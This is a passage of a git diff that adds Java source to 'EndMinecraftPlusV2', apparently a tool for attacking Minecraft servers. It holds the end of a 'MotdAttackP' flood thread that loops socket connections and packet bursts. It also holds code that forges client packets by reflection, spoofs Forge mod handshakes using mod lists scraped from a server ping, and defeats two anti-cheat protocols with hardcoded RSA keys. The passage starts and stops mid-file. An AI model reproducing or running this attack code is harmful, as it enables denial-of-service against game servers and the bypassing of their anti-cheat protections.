0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00}); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) { + } + + LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName()); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName()); + errorTimes++; + } + + OtherUtils.doSleep(attack_joinsleep); + } + }; + return new Thread(task); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MultiVersionPacket.java new file mode 100644 index 0000000..19f538e --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MultiVersionPacket.java @@ -0,0 +1,94 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientTabCompletePacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class MultiVersionPacket { + public static void sendTabPacket(Session session, String text) { + try { + Class cls = ClientTabCompletePacket.class; + Constructor constructor = cls.getDeclaredConstructor(); + constructor.setAccessible(true); + ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); + Field field = cls.getDeclaredField("text"); + field.setAccessible(true); + field.set(packet, text); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { + try { + Class cls = ClientPlayerPositionRotationPacket.class; + Constructor constructor; + ClientPlayerPositionRotationPacket packet; + try { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); + } catch (NoSuchMethodException ex) { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientSettingPacket(Session session, String locale) { + try { + Class cls = ClientSettingsPacket.class; + Constructor constructor; + ClientSettingsPacket packet; + try { + Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility"); + Class parm2Class = Class.forName("[Lcom.github.steveice10.mc.protocol.data.game.setting.SkinPart;"); + Class parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand"); + + Class skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart"); + Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); + Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); + } catch (NoSuchMethodException ex) { + Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); + Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { + try { + Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(slot); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, int id) { + try { + Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(id); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { + try { + sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); + } catch (Exception ignored) {} + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java new file mode 100644 index 0000000..8afdf80 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java @@ -0,0 +1,113 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.event.session.*; + +import java.lang.reflect.Field; +import java.util.Map; +import java.util.Scanner; + +public class MCForge { + private final MCForgeHandShake handshake; + + public Map modList; + public Session session; + + public MCForge(Session session, Map modList) { + this.modList = modList; + this.session = session; + this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this); + } + + public void init() { + this.session.addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + if (e.getPacket() instanceof ServerPluginMessagePacket) { + handle(e.getPacket()); + } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) { + handshake.handle(e.getPacket()); + } + } + + public void packetSending(PacketSendingEvent packetSendingEvent) { + + } + + public void packetSent(PacketSentEvent e) { + } + + public void connected(ConnectedEvent e) { + modifyHost(); + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + } + }); + } + + public void handle(ServerPluginMessagePacket packet) { + switch (packet.getChannel()) { + case "FML|HS": + this.handshake.handle(packet); + break; + case "REGISTER": + case "minecraft:register": // 1.13 + this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData())); + break; + case "MC|Brand": + case "minecraft:brand": // 1.13 + this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes())); + break; + } + } + + public void modifyHost() { + try { + Class cls = this.session.getClass().getSuperclass(); + + Field field = cls.getDeclaredField("host"); + field.setAccessible(true); + + field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static boolean isVersion1710() { + return (getProtocolVersion() == 5); + } + + public static boolean isAfterVersion1_13() { + return (getProtocolVersion() >= 393); + } + + public static int getProtocolVersion() { + try { + Class cls; + try { + cls = Class.forName("com.github.steveice10.mc.protocol.ProtocolConstants"); + } catch (ClassNotFoundException e) { + cls = Class.forName("com.github.steveice10.mc.protocol.MinecraftConstants"); + } + + Field field = cls.getDeclaredField("PROTOCOL_VERSION"); + return field.getInt(null); + } catch (Exception e) { + LogUtil.doLog(1, "检测Minecraft协议版本时发生错误!", null); + LogUtil.doLog(0, "=========================================================", "ForgeSupport"); + LogUtil.doLog(0, " 如果你不知道这是什么,请查阅", "ForgeSupport"); + LogUtil.doLog(0, " https://minecraft.fandom.com/zh/wiki/协议版本?variant=zh", "ForgeSupport"); + LogUtil.doLog(0, "=========================================================", "ForgeSupport"); + LogUtil.doLog(-1, "请手动输入协议版本: ", "ForgeSupport"); + Scanner scanner = new Scanner(System.in); + return Integer.parseInt(scanner.nextLine()); + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java new file mode 100644 index 0000000..05b53ea --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java @@ -0,0 +1,14 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.github.steveice10.packetlib.packet.Packet; + +public abstract class MCForgeHandShake { + protected MCForge forge; + + public MCForgeHandShake(MCForge forge) { + this.forge = forge; + } + + public abstract void handle(Packet recvPacket); + public abstract String getFMLVersion(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java new file mode 100644 index 0000000..960d853 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java @@ -0,0 +1,75 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.io.stream.StreamNetOutput; +import com.github.steveice10.packetlib.packet.Packet; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +public class MCForgeHandShakeV1 extends MCForgeHandShake { + public MCForgeHandShakeV1(MCForge forge) { + super(forge); + } + + public void handle(Packet recvPacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + Session session = forge.session; + + byte[] data = packet.getData(); + int packetID = data[0]; + + switch (packetID) { + case 0: // Hello + sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 }); + + // ModList + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + try { + out.writeVarInt(2); + out.writeByte(forge.modList.size()); + forge.modList.forEach((k, v) -> { + try { + out.writeString(k); + out.writeString(v); + } catch (IOException e) { + e.printStackTrace(); + } + }); + } catch (IOException e) { + e.printStackTrace(); + } + sendPluginMessage(session, packet.getChannel(), buf.toByteArray()); + break; + case 2: // ModList + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA) + break; + case 3: // RegistryData + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE) + break; + case -1: // HandshakeAck + int ackID = data[1]; + switch (ackID) { + case 2: // WAITING CACK + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE + break; + case 3: // COMPLETE + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE + break; + default: + } + default: + } + } + + public String getFMLVersion() { + return "FML"; + } + + private void sendPluginMessage(Session session, String channel, byte[] data) { + session.send(new ClientPluginMessagePacket(channel, data)); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java new file mode 100644 index 0000000..d85ab09 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java @@ -0,0 +1,158 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.github.steveice10.mc.protocol.packet.login.client.LoginPluginResponsePacket; +import com.github.steveice10.mc.protocol.packet.login.server.LoginPluginRequestPacket; +import com.github.steveice10.packetlib.io.buffer.ByteBufferNetInput; +import com.github.steveice10.packetlib.io.stream.StreamNetOutput; +import com.github.steveice10.packetlib.packet.Packet; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class MCForgeHandShakeV2 extends MCForgeHandShake { + private final int Packet_S2CModList = 1; + private final int Packet_C2SModListReply = 2; + private final int Packet_S2CRegistry = 3; + private final int Packet_S2CConfigData = 4; + private final int Packet_C2SAcknowledge = 99; + + public MCForgeHandShakeV2(MCForge forge) { + super(forge); + } + + public void handle(Packet recvPacket) { + LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket; + if (!packet.getChannel().equals("fml:loginwrapper")) return; + + try { + LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData()); + String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver(); + ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload())); + + int packetID = in.readByte(); + switch (packetID) { + case Packet_S2CModList: { + // recv: S2CModList + final List mods = new ArrayList<>(); + int len = in.readVarInt(); + for (int x = 0; x < len; x++) + mods.add(in.readString()); + + final Map channels = new HashMap<>(); + len = in.readVarInt(); + for (int x = 0; x < len; x++) + channels.put(in.readString(), in.readString()); + + final List registries = new ArrayList<>(); + len = in.readVarInt(); + for (int x = 0; x < len; x++) + registries.add(in.readString()); + // send: C2SModListReply + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + + out.writeByte(Packet_C2SModListReply); + + out.writeVarInt(mods.size()); + mods.forEach(m -> { + try { + out.writeString(m); + } catch (IOException e) { + e.printStackTrace(); + } + }); + + out.writeVarInt(channels.size()); + channels.forEach((k, v) -> { + try { + out.writeString(k); + out.writeString(v); + } catch (IOException e) { + e.printStackTrace(); + } + }); + + // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java) + out.writeVarInt(0); // empty map + /* + out.writeVarInt(registries.size()); + registries.forEach(r -> { + try { + out.writeString(r); + out.writeString(""); + } catch (IOException e) { + e.printStackTrace(); + } + }); + */ + + reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); + break; + } + case Packet_S2CRegistry: + case Packet_S2CConfigData: { + // recv: S2CRegistry + // send: C2SAcknowledge + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + + out.writeByte(Packet_C2SAcknowledge); + + reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); + break; + }// recv: S2CConfigData + } + } catch (Exception ex) { + forge.session.disconnect("Failure to handshake", ex); + } + } + + public String getFMLVersion() { + return "FML2"; + } + + private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException { + forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes())); + } + + static class LoginWrapper { + private String targetNetworkReceiver; + private byte[] payload; + + public LoginWrapper() {} + public LoginWrapper(String targetNetworkReceiver, byte[] payload) { + this.targetNetworkReceiver = targetNetworkReceiver; + this.payload = payload; + } + + public LoginWrapper fromBytes(byte[] bytes) throws IOException { + ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes)); + this.targetNetworkReceiver = in.readString(); + this.payload = in.readBytes(in.readVarInt()); + return this; + } + + public byte[] toBytes() throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput pb = new StreamNetOutput(buf); + pb.writeString(targetNetworkReceiver); + pb.writeVarInt(payload.length); + pb.writeBytes(payload); + + return buf.toByteArray(); + } + + public String getTargetNetworkReceiver() { + return this.targetNetworkReceiver; + } + + public byte[] getPayload() { + return this.payload; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java new file mode 100644 index 0000000..4773675 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java @@ -0,0 +1,52 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +public class MCForgeInject { + public static boolean inject() { + + try { + if (MCForge.isVersion1710()) { + injectPluginMessage(); + injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", + "{$1.readBytes($1.available());return;}"); + injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", + "read", "{$1.readBytes($1.available());return;}"); + injectTryCatch("com.github.steveice10.packetlib.packet.PacketProtocol", "createIncomingPacket", + "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}"); + } else { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.getOrNull("com.github.steveice10.mc.protocol.data.MagicValues"); + if (ctClass == null) + ctClass = classPool.get("com.github.steveice10.mc.protocol.data.game.MagicValues"); + CtMethod method1 = ctClass.getDeclaredMethod("key"); + method1.addCatch("{return null;}", classPool.get("java.lang.Exception")); + CtMethod method2 = ctClass.getDeclaredMethod("value"); + method2.addCatch("{return null;}", classPool.get("java.lang.Exception")); + ctClass.toClass(); + } + return true; + } catch (Exception e) { + return false; + } + } + + public static void injectPluginMessage() throws Exception { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.get("com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket"); + CtMethod method = ctClass.getDeclaredMethod("read"); + method.setBody("{this.channel=$1.readString();\n" + + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}"); + ctClass.toClass(); + } + + public static void injectTryCatch(String cls, String func, String code) throws Exception { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.get(cls); + CtMethod method = ctClass.getDeclaredMethod(func); + method.addCatch(code, classPool.get("java.lang.Exception")); + ctClass.toClass(); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java new file mode 100644 index 0000000..fa1772a --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java @@ -0,0 +1,141 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.google.gson.Gson; + +import java.io.ByteArrayOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.HashMap; +import java.util.Map; + +public class MCForgeMOTD { + public Map pingGetModsList(String ip, int port, int version) { + Map modList = new HashMap(); + Socket socket = new Socket(); + try { + socket.connect(new InetSocketAddress(ip, port)); + if(socket.isConnected()) { + DataOutputStream out = new DataOutputStream(socket.getOutputStream()); + + ByteArrayOutputStream packet = new ByteArrayOutputStream(); + DataOutputStream packetOut = new DataOutputStream(packet); + + packetOut.writeByte(0); // handshake packet id + writeVarInt(packetOut, version); // version + writeVarInt(packetOut, ip.length()); // host length + packetOut.writeBytes(ip); // host + packetOut.writeShort(port); // port + writeVarInt(packetOut, 1); // next to status + + writeVarInt(out, packet.size()); // packet length + out.write(packet.toByteArray()); // handshake packet + + out.writeByte(1); // packet length + out.writeByte(0); // status packet id + + out.flush(); + + DataInputStream in = new DataInputStream(socket.getInputStream()); + readVarInt(in); // packet length + int packetID = readVarInt(in); + int dataLength = readVarInt(in); + + if (packetID == 0 && dataLength > 0) { // Response + byte[] responseData = new byte[dataLength]; + in.readFully(responseData); + Response response = new Gson().fromJson(new String(responseData), Response.class); + if (response.modinfo != null) { + for (Response.ModInfo.ModID modid : response.modinfo.modList) { + modList.put(modid.modid, modid.version); + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + try { + if (socket.isConnected()) + socket.close(); + } catch (IOException e1) {} + } + return modList; + } + + /** + * @author thinkofdeath + * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 + */ + public int readVarInt(DataInputStream in) throws IOException { + int i = 0; + int j = 0; + while (true) { + int k = in.readByte(); + + i |= (k & 0x7F) << j++ * 7; + + if (j > 5) + throw new RuntimeException("VarInt too big"); + + if ((k & 0x80) != 128) + break; + } + + return i; + } + + /** + * @throws IOException + * @author thinkofdeath + * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 + */ + public void writeVarInt(DataOutputStream out, int paramInt) throws IOException { + while (true) { + if ((paramInt & 0xFFFFFF80) == 0) { + out.writeByte(paramInt); + return; + } + + out.writeByte(paramInt & 0x7F | 0x80); + paramInt >>>= 7; + } + } + + class Response { + public Object description; + public Players players; + public Version version; + public ModInfo modinfo; + + class Description { + public String text; + public String translate; + + public String getDescription() { + return text != null ? text : translate; + } + } + + class Players { + public int max; + public int online; + } + + class Version { + public String name; + public int protocol; + } + + class ModInfo { + public String type; + public ModID[] modList; + + class ModID { + public String modid; + public String version; + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java new file mode 100644 index 0000000..7a219f8 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java @@ -0,0 +1,25 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.github.steveice10.packetlib.io.NetInput; + +import java.io.IOException; + +public class MCForgeUtils { + public static int readVarShort(NetInput in) throws IOException { + int low = in.readUnsignedShort(); + int high = 0; + if ((low & 0x8000) != 0) { + low = low & 0x7FFF; + high = in.readUnsignedByte(); + } + return ((high & 0xFF) << 15) | low; + } + + public static UnknownPacket createUnknownPacket() { + try { + return UnknownPacket.class.newInstance(); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java new file mode 100644 index 0000000..73c13eb --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java @@ -0,0 +1,20 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; + +import com.github.steveice10.packetlib.io.NetInput; +import com.github.steveice10.packetlib.io.NetOutput; +import com.github.steveice10.packetlib.packet.Packet; + +import java.io.IOException; + +public class UnknownPacket implements Packet { + public boolean isPriority() { + return false; + } + + public void read(NetInput in) throws IOException { + in.readBytes(in.available()); + } + + public void write(NetOutput out) { + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java new file mode 100644 index 0000000..881d39a --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java @@ -0,0 +1,103 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol; + +import io.netty.buffer.ByteBuf; +import io.netty.buffer.ByteBufInputStream; +import io.netty.buffer.ByteBufOutputStream; +import io.netty.buffer.Unpooled; +import org.spacehq.opennbt.NBTIO; +import org.spacehq.opennbt.tag.builtin.ByteArrayTag; +import org.spacehq.opennbt.tag.builtin.CompoundTag; +import org.spacehq.opennbt.tag.builtin.ListTag; + +import javax.crypto.Cipher; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.math.BigInteger; +import java.security.KeyFactory; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.spec.RSAPrivateKeySpec; +import java.security.spec.RSAPublicKeySpec; +import java.util.HashSet; + +public class AnotherStarAntiCheat { + private final RSAPublicKeySpec clientPublicKey; + private final RSAPrivateKeySpec clientPrivateKey; + private final RSAPrivateKeySpec serverPrivateKey; + private final Cipher clientPublicCipher; + private final Cipher clientPrivateCipher; + + { + clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537")); + clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633")); + serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153")); + + try { + (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey)); + (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey)); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private void ctsEncode(ByteBuf buf, byte[][] md5s) { + try { + CompoundTag nbt = new CompoundTag(""); + ListTag strList = new ListTag("md5s", ByteArrayTag.class); + for (final byte[] md5 : md5s) { + strList.add(new ByteArrayTag("", md5)); + } + nbt.put(strList); + NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private byte[] stcDecode(ByteBuf buf) { + try { + CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf))); + return ((ByteArrayTag) nbt.get("salt")).getValue(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + public byte[] encodeCPacket(String[] md5s, String salt) { + try { + HashSet rsaMd5s = new HashSet(); + for (String md5 : md5s) { + rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes())); + } + + ByteBuf buf = Unpooled.buffer(); + buf.writeByte(1); // packet id + ctsEncode(buf, rsaMd5s.toArray(new byte[0][])); + return buf.array(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String decodeSPacket(byte[] data) { + try { + ByteBuf buf = Unpooled.copiedBuffer(data); + buf.readByte(); // packet id + return new String(clientPrivateCipher.doFinal(stcDecode(buf))); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String md5(String str) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + byte[] digest = md.digest(); + return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); + } catch (NoSuchAlgorithmException e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java new file mode 100644 index 0000000..0abea8b --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java @@ -0,0 +1,81 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol; + +import java.io.*; +import java.math.BigInteger; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +public class AntiCheat3 { + + public byte[] getCheckData(String acFile, String code, String[] md5List) { + try { + byte[] buf1 = code.substring(0, 30).getBytes(); + + FileInputStream in = new FileInputStream(new File("lib", acFile)); + byte[] buf2 = new byte[in.available()]; + in.read(buf2); + + byte[] buf3 = new byte[buf1.length + buf2.length]; + System.arraycopy(buf1, 0, buf3, 0, buf1.length); + System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length); + + try { + in.close(); + } catch (IOException e2) { + } + + String result = ""; + if (md5List != null) { + for (String md5 : md5List) { + result += md5 + ","; + } + } + result += md5(buf3); + return compress(result); + } catch (IOException e) { + e.printStackTrace(); + return null; + } + } + + public byte[] compress(String str) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPOutputStream gzip; + try { + gzip = new GZIPOutputStream(out); + gzip.write(str.getBytes()); + gzip.close(); + } catch (IOException e) { + } + return out.toByteArray(); + } + + public String 